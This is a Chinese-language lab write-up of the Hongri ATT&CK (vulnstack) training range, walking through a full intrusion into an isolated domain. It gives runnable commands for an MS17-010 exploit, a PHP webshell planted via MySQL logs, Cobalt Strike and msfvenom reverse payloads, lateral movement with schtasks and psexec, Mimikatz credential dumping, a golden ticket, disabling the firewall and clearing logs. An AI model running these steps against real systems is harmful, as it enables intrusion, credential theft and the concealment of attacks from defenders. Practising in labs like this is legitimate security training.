红日ATT&CK靶场系列(一)渗透实战笔记

靶场简介

​ 红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019

本靶机环境是红日团队开源的一个红队实战测试环境,靶机下载地址如下:

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

靶场涉及知识点

一、环境搭建
1.环境搭建测试
2.信息收集

二、漏洞利用
3.漏洞搜索与利用
4.后台Getshell上传技巧
5.系统信息收集
6.主机密码收集

三、内网搜集
7.内网–继续信息收集
8.内网攻击姿势–信息泄露
9.内网攻击姿势-MS08-067
10.内网攻击姿势-SMB远程桌面口令猜测
11.内网攻击姿势-Oracle数据库TNS服务漏洞
12.内网攻击姿势-RPC DCOM服务漏洞

四、横向移动
13.内网其它主机端口-文件读取
14.内网其它主机端口-redis
15.内网其它主机端口-redis Getshell
16.内网其它主机端口-MySQL数据库
17.内网其它主机端口-MySQL提权

五、构建通道
18.内网其它主机端口-代理转发

六、持久控制
19.域渗透-域成员信息收集
20.域渗透-基础服务弱口令探测及深度利用之powershell
21.域渗透-横向移动[wmi利用]
22.域渗透-C2命令执行
23.域渗透-利用DomainFronting实现对beacon的深度隐藏
24.域渗透-域控实现与利用

七、痕迹清理
25、日志清理

一、环境搭建

image-20250617064104957

环境说明

内网网段:10.10.10.1/24

测试机地址:192.168.91.37(windows)192.168.91.129(Linux)

防火墙策略(策略设置过后,测试机只能访问192段地址,模拟公网访问):

deny all tcp ports:10.10.10.1
allow all tcp ports:10.10.10.0/24

配置信息

01_WIN7(web服务器)

IP:10.10.10.2 IP2:192.168.91.37

02_WIN2K3 Metasploitable(域管)

IP1:10.10.10.4

03_Windows Server 2008 R2 (域控)

IP1:10.10.10.3

攻击机kali

IP:192.168.91.129

最终虚拟机配置和IP配置如下所示。

虚拟机名称 IP地址
kali(攻击机) 网卡vmnet8(NAT):192.168.91.129
Win7(web服务器) 网卡vmnet8(NAT):192.168.91.37,网卡(仅主机):10.10.10.2
WinSever2008(域控) 网卡vmnet19(仅主机):10.10.10.3
WIN2K3 (域管) 网卡vmnet19(仅主机):10.10.10.4

主机之间不用互相ping测试连通性,部分之间有防火墙,ping不通,这时回到kali机器里开始模拟攻击

配置详细步骤

左上角“编辑—>虚拟网络编辑器”添加一段虚拟网络,设置为仅主机:

新增VMnet19网卡(仅主机模式) 设置成内网10网段

image-20250617065646399

kali:

image-20250617070246233

给win7外网服务器添加一张网卡,一张网卡为NAT,另一张是我们刚刚添加的VMnet2:

Win7:

image-20250617071105873

内网域控还有域成员网卡都设置为VMnat19

win2008(域控):

image-20250617071910081

win2003(域成员):

image-20250617071936600

启动环境

登录密码:hongrisec@2019(登录时 提示密码过期需更改密码),三台机均为一样的密码。

配置win7(外网服务器)

登录win7(外网服务器)打开phpStudy服务,这样环境就配置好了

位置:C:\phpStudy\phpStudy.exe

注:首次登录后,需要再重启电脑,不然phpstudy可能无法启动。

image-20250617072956240

配置成功后输入localhost:80可以成功访问网站:

image-20250617073035464

能ping 通kali机,说明和外网已经连通了,这里还有一点就是记得把WIndows 7这个web服务器防火墙的关闭,否则kali会ping 不通

二、渗透过程

信息搜集:

主机发现

kali扫描目标C段地址:

nmap扫描:

nmap -sP 192.168.91.0/24

image-20250617073706490

成功发现目标主机

IP地址:192.168.91.37

扫描目标主机的开放端口:

nmap -sS -sV -Pn 192.168.91.37

开放了80、135、445、3306等常用端口

image-20250623013604963

登录80端口查看web服务

是一个php探针页面,可以得知是window7系统

image-20250623013749375

可以尝试有没有ms17010永恒之蓝漏洞可以利用

msfconsole启动,搜索MS17-010

image-20250623014021040

use auxiliary/scanner/smb/smb_ms17_010
options
set rhost 192.168.91.37
run

image-20250623014205712

可以看到目标系统有MS17-010永痕之蓝漏洞利用,切换到利用模块,进行上线

use 0
options
set lhost 192.168.91.129
set lport 4444
set rhosts 192.168.91.37
set rport 445
run

image-20250623014503198

image-20250623032731918

成功拿到win7systemd权限,上线cs

image-20250623033655681

生成 Cobalt Strike Payload (Beacon)
在 Cobalt Strike 中生成 Payload(Beacon)。

Cobalt Strike Console -> Cobalt Strike 菜单 -> Attacks -> Windows Stager Payload -> Windows Executable (S)

image-20250623034139315

image-20250623034217032

拷贝到kali虚拟机中执行如下命令上传到目标靶机中

upload /root/桌面/artifact.exe C:\\Windows\\Temp\\artifact.exe

image-20250623034610771

在目标系统上执行 Beacon Payload

execute -f C:\\Windows\\Temp\\artifact.exe

image-20250623034729256

这里cs4.7生成的可执行文件不知道为什么上线不了,换成4.0在进行尽然连接成功了

  • Cobalt Strike 会自动捕获到 Beacon 会话(如果配置正确的话)。
    • 在 Cobalt Strike 中,导航到 View -> Beacons 查看上线的会话。
    • 若成功,则会在 Beacon 管理界面看到新上线的会话,权限应为 SYSTEM。

image-20250623043526395

image-20250623043626249

进行目录扫描

dirsearch

dirsearch -u http://192.168.91.37 -i 200,300-399,403

image-20250623044824868

御剑:

image-20250623045625048

扫描结果差不多,截取能用的信息存在phpmyadmin,和phpinfo.php

三、漏洞挖掘

mysql弱口令

查看80端口web页面,发现有个测试mysql的地方,输入用户名密码root,root后成功连接mysql数据库

此处存在mysql弱口令漏洞

image-20250623045923638

image-20250623045947231

之前目录扫描出phpmyadmin,直接登录进入目标系统mysql数据库

image-20250623050113297

在里面看见了mysql数据库和一个 newyxcms的数据库,应该也存在一个yxcms服务

phpmyadmin后台getshell

查看一下phpmyadmin的版本:

http://192.168.91.37/phpmyadmin/changelog.php

image-20250623050426908

image-20250623050454742

通过80端口的web服务了解到网页绝对路径是 C:/phpStudy/WWW

在phpmyadmin查询一下secure_file_priv=的设置为多少,如果为NULL的话,就不能通过上传文件getshell:

show global variables like '%secure_file_priv%'

image-20250623050634696

通过查询可知,secure_file_priv=NULL,因此不能使用上传文件getshell了,所以尝试写入日志来getshell

查看当前日志文件:

SHOW VARIABLES LIKE 'general%';

image-20250623050727564

C:\phpStudy\MySQL\data\stu1.log

开启日志记录:

set global general_log = "ON";

image-20250623050831969

更改日志文件路径写入webshell一句话木马

set global general_log_file='C:\\phpStudy\\WWW\\shell.php';

select '<?php @eval($_POST[cmd]);?>';

image-20250623051013045

使用蚁剑进行连接

image-20250623051207077

yxcms后台上传getshell

之前在phpadmin上看见了一个yxcms的数据库,说明可能存在yxcms,访问

http://192.168.91.37/yxcms/

image-20250623051318778

在首页公告里指明了后台登录界面和账号密码:

image-20250623051403715

image-20250623051526949

image-20250623051618036

在前台模块中新增一个shell2.php,写入一句话后门:

image-20250623051852569

新增之后,这个后门文件在哪呢?这时候需要 看beifen.rar 备份文件了(这个备份文件是通过御剑目录扫描出来的

根据源码可知文件位置:/yxcms/protected/apps/default/view/default/

蚁剑连接 拿到shell:

http://192.168.91.37/yxcms/protected/apps/default/view/default/shell2.php

image-20250623052226143

四、内网渗透

回到之前上线的cs中

shell systeminfo 查看主机名,系统名称,系统版本:

image-20250623052455899

image-20250623052601082

同时也可以得到主机域信息和安装的补丁

image-20250623052607871

同时使用shell tasklist /svc 或者插件可以查看运行的进程,同时根据进程判断主机是否存在杀毒软件:

image-20250623052645692

image-20250623052717820

image-20250623053058437

根据查询,并未杀毒软件。

常见杀软简称

image-20250623052810981

使用elevatekit插件来提权,先下载导入这个插件然后右键点击到权限提升,选择ms15-051可以成功提权:

image-20250623053236595

内网信息搜集

判断是否存在域:

shell net config Workstation

image-20250623053922997

根据回显,确定存在域环境

image-20250623053939236

域名GOD

查看域内主机:

cs-》浏览探测–》网络探测

或shell net view

image-20250623172942894

然后net view 之后会在target 中显示结果发现这3台主机

image-20250623173223065

查看域控:
net group "domain controllers" /domain

或(需要先上传AdFind)

image-20250623173436003

image-20250624143325119

域控是:OWA

端口扫描:

image-20250624143612534

image-20250624143536365

10.10.10.4的主机:777,139,135

10.10.10.3主机:

image-20250624143819501

10.10.10.2主机:

image-20250624143848062

查看域内所有用户:
net user /domain

image-20250624143949832

查看域管理员列表:

net group "domain admins" /domain

image-20250624144108494

抓取明文密码:

可使用 Mimikatz 直接抓取本机用户密码:hongrisec@2022

选中会话,右键-提权-抓取明文密码:

image-20250624144234111

image-20250624144341222

cs反向上线到msf

首先msf 中执行:

use exploit/multi/handler
set payload windows/meterpreter/reverse_http(跟cs上选用的payload一样)
set lhost 0.0.0.0   //本地ip
set lport 8888 
exploit 

然后cs 上先创建一个foreign listener ,host 选择 msf 的ip ,post 选择msf 监听的port 。

然后在会话中,输入:spawn MSF

image-20250624144520081

msf成功接收到:

image-20250624144536606

RDP远程登录

注意:需要system权限

# 查看端口3389是否开启
netstat -ano | findstr "3389"	
	
# 查看远程端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
											
# 开启3389端口										
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
									
# 方法一:允许 3389 端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

# 方法二:直接关闭防火墙
# Windows Server 2003 系统及之前版本												
netsh firewall set opmode disable
# Windows Server 2003 之后系统版本				
netsh advfirewall set allprofiles state off	

3389端口未开放的情况

image-20250624144849831

开启3389端口

注册表开启3389端口,使用如下命令开启(适用于 win7,xp,2008 , 关闭则把0换成1):

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

成功开启3388端口的情况:

image-20250624144951214

允许3389连接

方法一:命令行直接关闭防火墙

因为这个时候防火墙是开启的,必须关闭防火墙才能进行3389远程登录连接:

#winsows server 2003 之前
netsh firewall set opmode disable  
#winsows server 2003 之后
netsh advfirewall set allprofiles state off 

image-20250624145022158

方法二:允许防火墙 3389 端口放行

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

image-20250624145114927

方法三:MSF允许rdp连接:

run post/windows/manage/enable_rdp
run multi_console_command -r <FileLocation>				(文件为启用模块后的给的路径,都在/root/.msf4/loot/目录下)

image-20250624145154173

方法四:VMIC

推荐此种方法,由于此方法会自动开启系统远程桌面中的允许远程连接到此计算机并启动默认的3389端口

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

image-20250624150733502

rdesktop 远程登录

kali连接RDP到目标机器

apt install rdesktop

rdesktop 192.168.91.37

image-20250624151211833

image-20250624151233648

输入GOD\administrator

密码:hongrisec@2022

成功进入桌面

image-20250624151617424

当然对于非服务器版本的windows 远程登录的话,会断开该主机当前的连接,有可能会惊动管理员。

rdpwarp远程登录

对于非服务器版本的windows 远程登录的话,会断开该主机当前的连接,有可能会惊动管理员。这个时候不慌,使用rdpwrap

rdpwrap 是一款可以允许非服务器版本进行多个用户登录的patcher,github上面下载下来,用蚁剑把 RDPWInst.exe 传上去,然后执行:

DPWInst.exe -i -s

这样就可以不惊动已在线的管理员实现远程登录。

最后在渗透结束后,可以使用:

RDPWInst.exe -u -k 

来删除patch,注意需要添加-k 参数,意思是还原使用之前的设置

横向移动

隧道搭建

MSF + proxychains

# 添加路由,使msf可以访问内网,如果不添加,只能是meterpreter才能访问
run post/multi/manage/autoroute							
# 查看路由
run autoroute -p
# 将当前会话放到后台											
bg		
# 使用socks4a进行代理,socks5出bug是用不了,有些人的msf代理模块跟我不太一样,但不影响,功能一样 															
use auxiliary/server/socks_proxy

show options
set version 4a
							
exploit			

image-20250624152538257

image-20250624152638183

编辑proxychains4.conf文件,如果你没有装的话,那就去下载:

# 查看运行情况
jobs		
		
# 配置proxychains									
vi /etc/proxychains4.conf									

# 这里的ip需要跟上面的socks4a模块一致 						
socks4 127.0.0.1 1080		

image-20250624152810835

使用proxychains代理访问被控主机,查看是否能使用

proxychains4 curl http://192.168.91.37/phpmyadmin

建立隧道主要用来msf进行渗透,来扫描端口,后面主要利用cs来进行横向,但是要学会隧道搭建,知识点是必备的。

永恒之蓝利用横线

扫描10.4的时候发现开了445端口,尝试使用MS17_010

image-20250624153334531

kali使用代理nmap扫描10.10.10.4端口:

proxychains4 nmap -p 1-1000 -Pn -sT 10.10.10.4

使用msf模块进行探测:

use auxiliary/scanner/smb/smb_version
set rhost 10.10.10.4
run

探测到版本为:windows 2003

探测一下是否存在永恒之蓝漏洞:

image-20250624153757732

果显示:该主机确实存在永恒之蓝漏洞

尝试使用ms17_010执行ipconfig命令:

use auxiliary/admin/smb/ms17_010_command
set rhosts 10.10.10.4
set command ipconfig
exploit

image-20250624153931344

成功执行,显示内网ip地址为10.10.10.4

已经可以命令执行了,可以把木马挂到win7 91.37的web服务器,让目标主机去下载执行,域控同样存在这个漏洞,所以可以使用一样的手法拿下域控

IPC横向

10.10.10.3主机和10.10.10.2的主机根据之前扫描到的信息都开启了135和445的端口,表示内网中域控和域成员主机都开启了

1、建立连接

net use \10.10.10.3\ipc$ "hongrisec@2022" /user:GOD\administrator

2、MSF创建反向木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.129 LPORT=4021 -e x86/shikata_ga_nai -f exe -o dc.exe

做一个反向连接木马,因为域控上有防火墙,正向连接被拦截了,所以只能使用反向连接,创建木马过程省略

copy dc.exe \10.10.10.3\c$

3、创建计划任务test

通过创建计划任务来执行木马

schtasks /create /s 10.10.10.3 /tn test /sc onstart /tr c:\dc.exe /ru system /f

4、运行计划任务test

schtasks /run /s 10.10.10.3 /i /tn "test"

5、cs会话中执行上线命令

connect 10.10.10.3

成功连接

image-20250624161937255

image-20250624162131220

psexec横向

使用CS的psexec来完成下面操作

image-20250624161241454

image-20250624161333468

选择之前抓取的密码和创建的smb监听器:

image-20250624161444389

执行成功上线,域控机也是同样操作

成功拿下所有机器的权限

image-20250624161834070

image-20250624161730721

权限维持

凭证提权—>黄金票据

右键抓取Hash和明文密码:

image-20250624162731729

image-20250624163017610

image-20250624163449793

# 抓取到hash:
58e91a5ac358d86513ab224312314061:::
# SID:
S-1-5-20

生成黄金票据

把刚刚复制的域名,SID粘贴上去,hash已经帮你自动抓取了,用户名随便填写:

image-20250624163653537

image-20250624163735526

成功生成黄金票据

清理痕迹

# meterperter自带清除日志功能(清除windows中的应用程序日志、系统日志、安全日志)
clearev     	

# 清除recent:
	在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮
	或直接打开C:\Users\Administrator\Recent并删除所有内容
	或在命令行中输入del /f /s /q “%userprofile%\Recent*.*


# 在cs会话中执行下面命令
shell wevtutil cl security    				//清理安全日志
shell wevtutil cl system        			//清理系统日志
shell wevtutil cl application        		//清理应用程序日志
shell wevtutil cl "windows powershell"    	//清除power shell日志
shell wevtutil cl Setup     				//清除(cl)事件日志中的 "Setup" 事件。

image-20250624164203231

image-20250624164358409

image-20250624164606128

五、思路总结

  • kali的nmap扫描C段信息,发现目标在外网的web服务器主机,
  • nmap进一步端口扫描和目录扫描后发现开启了端口上的永恒之蓝漏洞,发现利用漏洞入侵web主机后进行外网信息打点,上线cs和进行漏洞挖掘,写一句话木马上线蚁剑等webshell管理程序。
  • 进行隧道搭建,添加内网路由后进行IPC和psexec横向移动,尝试RDP远程登录。
  • 内网信息搜集,发现内网主机pc和DC,利用mimikatz发现域名等信息和域控主机的管理员密码。制作黄金票据
  • 清理渗透痕迹